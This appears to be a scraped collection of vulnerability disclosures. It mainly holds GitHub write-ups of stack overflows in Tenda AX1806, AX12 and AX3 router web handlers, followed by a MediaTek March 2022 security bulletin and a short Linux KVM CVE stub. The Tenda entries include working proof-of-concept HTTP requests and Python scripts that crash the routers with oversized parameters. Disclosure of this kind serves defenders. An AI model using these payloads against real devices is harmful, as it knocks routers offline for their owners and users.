Tenda AX1806 v1.0.0.1 was discovered to contain a stack overflow in the function formSetProvince. This vulnerability allows attackers to cause a Denial of Service (DoS) via the ProvinceCode parameter.

Affect device: Tenda Router AX1806 v1.0.0.1(https://www.tenda.com.cn/download/detail-3306.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

**Vulnerability description**

This vulnerability lies in the `/goform/SetProvinceCode` page which influences the lastest version of Tenda Router AX1806 v1.0.0.1: https://www.tenda.com.cn/download/detail-3306.html

There is a stack overflow vulnerability in the `formSetProvince` function.

The `v2` variable is obtained directly from the http request parameter `ProcinceCode`.

Then this function uses `sprintf(... , "%s" , ...)` to copy the string pointed by `v2` into a stack buffer pointed by `s`.

![image-20220209143635024](https://github.com/sec-bin/IoT-CVE/raw/main/Tenda/AX1806/13/image/1.png)

So it caused stack overflow, by POSTing the page `/goform/SetProvinceCode` with long `ProvinceCode`, the attacker can easily perform a

Denial of Service(DoS).

**POC**

Poc of Denial of Service(DoS):

POST /goform/SetProvinceCode HTTP/1.1
Host: 192.168.2.1
Connection: close
Accept: text/plain, \*/\*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.2.1/main.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 1417

ProvinceCode=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

CVE-2022-25558: IoT-CVE/Tenda/AX1806/13 at main · sec-bin/IoT-CVE

Tenda AX1806 v1.0.0.1 was discovered to contain a heap overflow in the function saveParentControlInfo. This vulnerability allows attackers to cause a Denial of Service (DoS) via the urls parameter.

CVE-2022-25557: IoT-CVE/Tenda/AX1806/11 at main · sec-bin/IoT-CVE

Tenda AX1806 v1.0.0.1 was discovered to contain a stack overflow in the function fromSetSysTime. This vulnerability allows attackers to cause a Denial of Service (DoS) via the ntpServer parameter.

Affect device: Tenda Router AX1806 v1.0.0.1(https://www.tenda.com.cn/download/detail-3306.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

**Vulnerability description**

This vulnerability lies in the `/goform/SetSysTimeCfg` page which influences the lastest version of Tenda Router AX1806 v1.0.0.1: https://www.tenda.com.cn/download/detail-3306.html

There is a stack overflow vulnerability in the `fromSetSysTime` function.

The `v4` variable is obtained directly from the http request parameter `ntpServer`.

This function uses strcpy to copy the **variable v4 to the stack variable &v33\[16\]** without any sercuity check.

Attacker can construct **a long ntpServer parameter** in the http request,which causes stack overflow.

![image-20220208184212635](https://github.com/sec-bin/IoT-CVE/raw/main/Tenda/AX1806/2/image/1.png)

So attacker can perform **denial of service attacks by causing tdhttpd to crash.**

**POC**

Poc to crash：

import requests

url \= "https://192.168.2.1/goform/SetSysTimeCfg"

ntpserver \= b"a"\*0x10000
timeType \= "sync"
r \= requests.post(url, data\={"timeType" : timeType ,"ntpServer" : ntpserver},verify\=False)
print(r.content)

CVE-2022-25555: IoT-CVE/Tenda/AX1806/2 at main · sec-bin/IoT-CVE

Tenda AX1806 v1.0.0.1 was discovered to contain a stack overflow in the function fromSetSysTime. This vulnerability allows attackers to cause a Denial of Service (DoS) via the serverName parameter.

Affect device: Tenda Router AX1806 v1.0.0.1(https://www.tenda.com.cn/download/detail-3306.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

**Vulnerability description**

This vulnerability lies in the `/goform/SetDDNSCfg` page which influences the lastest version of Tenda Router AX1806 v1.0.0.1: https://www.tenda.com.cn/download/detail-3306.html

There is a stack overflow vulnerability in the `formSetSysToolDDNS` function.

The `v3` variable is obtained directly from the http request parameter `serverName`.

This function uses strcpy to copy the **variable v3 to the stack variable s2** without any sercuity check.

![image-20220208222338204](https://github.com/sec-bin/IoT-CVE/raw/main/Tenda/AX1806/5/image/1.png)

So attacker can construct **a long serverName parameter** in the http request,which causes stack overflow.

**POC**

Poc of Denial of Service(DoS):

POST /goform/SetDDNSCfg HTTP/1.1
Host: 192.168.2.1
Connection: close
Accept: text/plain, \*/\*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.2.1/main.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 2747

serverName=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

CVE-2022-25548: IoT-CVE/Tenda/AX1806/5 at main · sec-bin/IoT-CVE

Tenda AX12 v22.03.01.21 was discovered to contain a stack overflow in the function sub_42E328. This vulnerability allows attackers to cause a Denial of Service (DoS) via the list parameter.

Affect device: Tenda-AX12 V22.03.01.21\_CN(https://www.tenda.com.cn/download/detail-3237.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

**Vulnerability description**

This vulnerability lies in the `/goform/SetStaticRouteCfg` page which influences the lastest version of Tenda-AX12 V22.03.01.21\_CN(https://www.tenda.com.cn/download/detail-3237.html)

There is a stack overflow vulnerability in the `sub_42E328` function.

First, this function calls the `sub_42E030` function.

![image-20220209190513500](https://github.com/sec-bin/IoT-CVE/raw/main/Tenda/AX12/6/image/1.png)

In the `sub_42E030` function:

![image-20220209190531902](https://github.com/sec-bin/IoT-CVE/raw/main/Tenda/AX12/6/image/2.png)

The `v3` variable is obtained directly from the http request parameter `list`.

Then `v3` will be splice to stack by function `sscanf` without any security check, which causes stack overflow.

So by POSTing the page `/goform/SetStaticRouteCfg` with long `list`, the attacker can easily perform a Denial of Service(DoS).

**POC**

Poc of Denial of Service(DoS):

import requests

url \= "http://192.168.0.1/goform/SetStaticRouteCfg"
list\_data \= 'a'\*0x1000 + '~'

r \= requests.post(url, data\={'list': list\_data})
print(r.content)

CVE-2022-25556: IoT-CVE/Tenda/AX12/6 at main · sec-bin/IoT-CVE

Tenda AX12 v22.03.01.21 was discovered to contain a stack overflow in the function sub_42DE00. This vulnerability allows attackers to cause a Denial of Service (DoS) via the list parameter.

Affect device: Tenda-AX12 V22.03.01.21\_CN(https://www.tenda.com.cn/download/detail-3237.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

**Vulnerability description**

This vulnerability lies in the `/goform/SetVirtualServerCfg` page which influences the lastest version of Tenda-AX12 V22.03.01.21\_CN(https://www.tenda.com.cn/download/detail-3237.html)

There is a stack overflow vulnerability in the `sub_42DE00` function.

First, this function calls the `sub_42DB88` function.

![image-20220209184332117](https://github.com/sec-bin/IoT-CVE/raw/main/Tenda/AX12/5/image/1.png)

In the `sub_42DB88` function:

![image-20220209184425282](https://github.com/sec-bin/IoT-CVE/raw/main/Tenda/AX12/5/image/2.png)

The `v3` variable is obtained directly from the http request parameter `list`.

Then `v3` will be splice to stack by function `sscanf` without any security check, which causes stack overflow.

So by POSTing the page `/goform/SetVirtualServerCfg` with long `list`, the attacker can easily perform a Denial of Service(DoS).

**POC**

Poc of Denial of Service(DoS):

import requests

url \= "http://192.168.0.1/goform/SetVirtualServerCfg"
list\_data \= 'a'\*0x1000 + '~'

r \= requests.post(url, data\={'list': list\_data})
print(r.content)

CVE-2022-25561: IoT-CVE/Tenda/AX12/5 at main · sec-bin/IoT-CVE

Tenda AX12 v22.03.01.21 was discovered to contain a stack overflow in the function sub_4327CC. This vulnerability allows attackers to cause a Denial of Service (DoS) via the list parameter.

Affect device: Tenda-AX12 V22.03.01.21\_CN(https://www.tenda.com.cn/download/detail-3237.html)

Vulnerability Type: Stack overflow

Impact: Denial of Service(DoS)

**Vulnerability description**

This vulnerability lies in the `/goform/SetNetControlList` page which influences the lastest version of Tenda-AX12 V22.03.01.21\_CN(https://www.tenda.com.cn/download/detail-3237.html)

There is a stack overflow vulnerability in the `sub_4327CC` function.

The `v2` variable is obtained directly from the http request parameter `list`.

And then it calls the `sub_4325BC` function.

![image](https://github.com/sec-bin/IoT-CVE/raw/main/Tenda/AX12/4/image/1.png)

However, in the `sub_4325BC` function, it calls the strcpy function to a1 to v14 without any security check, which causes the stack overflow.

![image-20220209162909094](https://github.com/sec-bin/IoT-CVE/raw/main/Tenda/AX12/4/image/2.png)

So by POSTing the page `/goform/SetNetControlList` with long `list`, the attacker can easily perform a Denial of Service(DoS).

**POC**

Poc of Denial of Service(DoS):

import requests

url \= "http://192.168.0.1/goform/SetNetControlList"
list\_data \= 'a'\*0x1000 + '\\n'

r \= requests.post(url, data\={'list': list\_data})
print(r.content)

CVE-2022-25560: IoT-CVE/Tenda/AX12/4 at main · sec-bin/IoT-CVE

Tenda AX3 v16.03.12.10_CN was discovered to contain a stack overflow in the function fromSetSysTime. This vulnerability allows attackers to cause a Denial of Service (DoS) via the time parameter.

**Tenda Router AX3 Vulnerability**

This vulnerability lies in the `/goform/SetSysTimeCfg` page which influences the lastest version of Tenda Router AX3. (V16.03.12.10\_CN)

**Vulnerability description**

There is a stack buffer overflow vulnerability in the `fromSetSysTime` function.

The `v9` variable is directly retrieved from the http request parameter `time`.

Then `v9` will be splice to stack by function sscanf without any security check,which causes stack overflow.

![image-20220118220433652](https://github.com/sec-bin/IoT-CVE/raw/main/Tenda/AX3/7/1.png)

So by POSTing the page `/goform/SetSysTimeCfg` with proper `time`, the attacker can easily perform a **Remote Code Execution** with carefully crafted overflow data.

**POC**

import requests
from pwn import \*

url \= "http://192.168.0.1/goform/SetSysTimeCfg"

timeType \= "manual"

time \= "2022-01-01 "
time += "a" \* 1024

r \= requests.post(url, data\={'timeType': timeType, 'time': time})
print(r.content)

**Timeline**

*   2022.01.18 report to CVE & CNVD

CVE-2022-24995: IoT-CVE/Tenda/AX3/7 at main · sec-bin/IoT-CVE

In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS05917489; Issue ID: ALPS05917489.

**March 2022 Product Security Bulletin**

Published 2022-03-07

The MediaTek Product Security Bulletin contains details of security vulnerabilities affecting MediaTek Smartphone, Tablet, AIoT, Smart display, Smart platform, OTT and TV chipsets. Device OEMs have been notified of all the issues and the corresponding security patches for at least two months before publication.

The severity of the identified vulnerabilities was conducted based on the Common Vulnerability Scoring System version 3.1 (CVSS v3.1).

****Summary****

Severity

**CVEs**

High

CVE-2022-20047, CVE-2022-20048, CVE-2022-20053

Medium

CVE-2022-20049, CVE-2022-20050, CVE-2022-20051, CVE-2022-20054, CVE-2022-20055, CVE-2022-20056, CVE-2022-20057, CVE-2022-20058, CVE-2022-20059, CVE-2022-20060

****Details****

CVE

**CVE-2022-20047**

Title

Out-of-bounds write in video decoder

Severity

High

Vulnerability Type

EoP

CWE

CWE-787 Out-of-bounds Write

Description

In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT5816, MT5835, MT6885, MT6893, MT9900, MT9901, MT9950, MT9969, MT9970, MT9980

Affected Software Versions

Android 10.0, 11.0, 12.0

CVE

**CVE-2022-20048**

Title

Out-of-bounds write in video decoder

Severity

High

Vulnerability Type

EoP

CWE

CWE-787 Out-of-bounds Write

Description

In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT5816, MT5835, MT6885, MT6893, MT9900, MT9901, MT9950, MT9969, MT9970, MT9980

Affected Software Versions

Android 10.0, 11.0, 12.0

CVE

**CVE-2022-20053**

Title

Missing authorization in ims service

Severity

High

Vulnerability Type

EoP

CWE

CWE-862 Missing Authorization

Description

In ims service, there is a possible escalation of privilege due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6731, MT6732, MT6735, MT6737, MT6739, MT6750, MT6750S, MT6752, MT6753, MT6755, MT6755S, MT6757, MT6758, MT6761, MT6762, MT6763, MT6765, MT6768, MT6769, MT6771, MT6779, MT6781, MT6785, MT6795, MT6797, MT6799, MT6833, MT6853, MT6853T, MT6873, MT6875, MT6877, MT6880, MT6883, MT6885, MT6889, MT6890, MT6891, MT6893, MT8167, MT8168, MT8173, MT8183, MT8185, MT8321, MT8362A, MT8365, MT8385, MT8666, MT8667, MT8675, MT8765, MT8766, MT8768, MT8786, MT8788, MT8789, MT8791, MT8797

Affected Software Versions

Android 9.0, 10.0, 11.0, 12.0

CVE

**CVE-2022-20049**

Title

Improper access control in vpu

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-284 Improper Access Control

Description

In vpu, there is a possible escalation of privilege due to a missing permission check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6779, MT6785, MT6853, MT6853T, MT6873, MT6875, MT6877, MT6883, MT6885, MT6889, MT6891, MT6893, MT8168, MT8175, MT8183, MT8185, MT8362A, MT8365, MT8385, MT8788

Affected Software Versions

Android 10.0, 11.0

CVE

**CVE-2022-20050**

Title

Unix symbolic link (symlink) following in connsyslogger

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-61 UNIX Symbolic Link (Symlink) Following

Description

In connsyslogger, there is a possible symbolic link following due to improper link resolution. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6762, MT6765, MT6768, MT6769, MT6779, MT6781, MT6785, MT6795, MT6797, MT6799, MT6833, MT6853, MT6853T, MT6873, MT6875, MT6877, MT6880, MT6883, MT6885, MT6889, MT6891, MT6893, MT8163, MT8167, MT8167S, MT8168, MT8173, MT8175, MT8183, MT8185, MT8321, MT8362A, MT8365, MT8385, MT8666, MT8667, MT8675, MT8696, MT8735A, MT8735B, MT8765, MT8766, MT8768, MT8786, MT8788, MT8789, MT8791, MT8797

Affected Software Versions

Android 11.0, 12.0

CVE

**CVE-2022-20051**

Title

Incorrect privilege assignment in ims service

Severity

Medium

Vulnerability Type

DoS

CWE

CWE-266 Incorrect Privilege Assignment

Description

In ims service, there is a possible unexpected application behavior due to incorrect privilege assignment. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6731, MT6732, MT6735, MT6737, MT6739, MT6750, MT6750S, MT6752, MT6753, MT6755, MT6755S, MT6757, MT6757C, MT6757CD, MT6757CH, MT6758, MT6761, MT6762, MT6763, MT6765, MT6768, MT6769, MT6771, MT6779, MT6781, MT6785, MT6795, MT6797, MT6799, MT6833, MT6853, MT6853T, MT6873, MT6875, MT6877, MT6880, MT6883, MT6885, MT6889, MT6890, MT6891, MT6893, MT8167, MT8168, MT8173, MT8183, MT8185, MT8321, MT8362A, MT8365, MT8385, MT8666, MT8667, MT8675, MT8765, MT8766, MT8768, MT8786, MT8788, MT8789, MT8791, MT8797

Affected Software Versions

Android 11.0, 12.0

CVE

**CVE-2022-20054**

Title

Missing authorization in ims service

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-862 Missing Authorization

Description

In ims service, there is a possible AT command injection due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

Affected Chipsets

MT6580, MT6739, MT6750, MT6761, MT6762, MT6763, MT6765, MT6768, MT6771, MT6779, MT8167, MT8168, MT8173, MT8183, MT8185, MT8321, MT8362A, MT8365, MT8385, MT8666, MT8667, MT8675, MT8765, MT8766, MT8768, MT8786, MT8788, MT8789, MT8791, MT8797

Affected Software Versions

Android 9.0, 10.0, 11.0, 12.0

CVE

**CVE-2022-20055**

Title

Out-of-bounds write in preloader (usb)

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-787 Out-of-bounds Write

Description

In preloader (usb), there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege, for an attacker who has physical access to the device, with no additional execution privileges needed. User interaction is needed for exploitation.

Affected Chipsets

MT6761, MT6762, MT6765, MT6768, MT6771, MT6779, MT6781, MT6785, MT6833, MT6853, MT6853T, MT6873, MT6877, MT6885, MT6893, MT8183, MT8185, MT8321, MT8385, MT8666, MT8667, MT8675, MT8735A, MT8735B, MT8765, MT8766, MT8768, MT8786, MT8788, MT8789, MT8791, MT8797

Affected Software Versions

Android 10.0, 11.0, 12.0

CVE

**CVE-2022-20056**

Title

Out-of-bounds write in preloader (usb)

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-787 Out-of-bounds Write

Description

In preloader (usb), there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege, for an attacker who has physical access to the device, with no additional execution privileges needed. User interaction is needed for exploitation.

Affected Chipsets

MT6761, MT6762, MT6765, MT6768, MT6771, MT6779, MT6781, MT6785, MT6833, MT6853, MT6853T, MT6873, MT6877, MT6885, MT6893, MT8183, MT8185, MT8321, MT8385, MT8666, MT8667, MT8675, MT8735A, MT8735B, MT8765, MT8766, MT8768, MT8786, MT8788, MT8789, MT8791, MT8797

Affected Software Versions

Android 10.0, 11.0, 12.0

CVE

**CVE-2022-20057**

Title

Detection of error condition without action in btif

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-390 Detection of Error Condition Without Action

Description

In btif, there is a possible memory corruption due to incorrect error handling. This could lead to local escalation of privilege with System execution privileges needed. User interaction is needed for exploitation.

Affected Chipsets

MT6739, MT6758, MT6761, MT6765, MT6768, MT6769, MT6771, MT6779, MT6781, MT6785, MT6833, MT6853, MT6853T, MT6873, MT6883, MT6893, MT8163, MT8167, MT8168, MT8173, MT8362A, MT8365

Affected Software Versions

Android 11.0, 12.0

CVE

**CVE-2022-20058**

Title

Out-of-bounds write in preloader (usb)

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-787 Out-of-bounds Write

Description

In preloader (usb), there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege, for an attacker who has physical access to the device, with no additional execution privileges needed. User interaction is needed for exploitation.

Affected Chipsets

MT6761, MT6762, MT6765, MT6768, MT6771, MT6779, MT6781, MT6785, MT6833, MT6853, MT6853T, MT6873, MT6877, MT6885, MT6893, MT8183, MT8185, MT8321, MT8385, MT8666, MT8667, MT8675, MT8735A, MT8735B, MT8765, MT8766, MT8768, MT8786, MT8788, MT8789, MT8791, MT8797

Affected Software Versions

Android 10.0, 11.0, 12.0

CVE

**CVE-2022-20059**

Title

Out-of-bounds write in preloader (usb)

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-787 Out-of-bounds Write

Description

In preloader (usb), there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege, for an attacker who has physical access to the device, with no additional execution privileges needed. User interaction is needed for exploitation.

Affected Chipsets

MT6761, MT6762, MT6765, MT6768, MT6771, MT6779, MT6781, MT6785, MT6833, MT6853, MT6853T, MT6873, MT6875, MT6877, MT6885, MT6889, MT6893, MT8183, MT8185, MT8321, MT8385, MT8666, MT8667, MT8675, MT8735A, MT8735B, MT8765, MT8766, MT8768, MT8786, MT8788, MT8789, MT8791, MT8797

Affected Software Versions

Android 10.0, 11.0, 12.0

CVE

**CVE-2022-20060**

Title

Security flow issues in preloader (usb)

Severity

Medium

Vulnerability Type

EoP

CWE

CWE-1196 Security Flow Issues

Description

In preloader (usb), there is a possible permission bypass due to a missing proper image authentication. This could lead to local escalation of privilege, for an attacker who has physical access to the device, with no additional execution privileges needed. User interaction is needed for exploitation.

Affected Chipsets

MT6761, MT6762, MT6765, MT6768, MT6771, MT6779, MT6781, MT6785, MT6833, MT6853, MT6873, MT6875, MT6877, MT6885, MT6889, MT6893, MT8183, MT8185, MT8321, MT8385, MT8666, MT8667, MT8675, MT8735A, MT8735B, MT8765, MT8766, MT8768, MT8786, MT8788, MT8789, MT8791, MT8797

Affected Software Versions

Android 10.0, 11.0, 12.0

****Vulnerability Type Definition****

Abbreviation

**Definition**

RCE

Remote Code Execution

EoP

Elevation of Privilege

ID

Information Disclosure

DoS

Denial of Service

N/A

Classification not available

****Versions****

**Version**

**Date**

**Description**

1.0

March 7, 2022

Bulletin published.

****Notes****

Information above is generated only at the time of creation of this Security Bulletin. The list of affected chipsets could be not complete. For any further information, device OEMs can reach your MediaTek contact person if needed.

If you want to report a security vulnerability in MediaTek chipsets or products, please go to Report Security Vulnerability page on MediaTek website.

CVE-2022-20047: March 2022

A NULL pointer dereference was found in the Linux kernel's KVM when dirty ring logging is enabled without an active vCPU context. An unprivileged local attacker on the host may use this flaw to cause a kernel oops condition and thus a denial of service by issuing a KVM_XEN_HVM_SET_ATTR ioctl. This flaw affects Linux kernel versions prior to 5.17-rc1.

'2031194?cve=title' is not a valid bug number nor an alias to a bug.

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Tag

#dos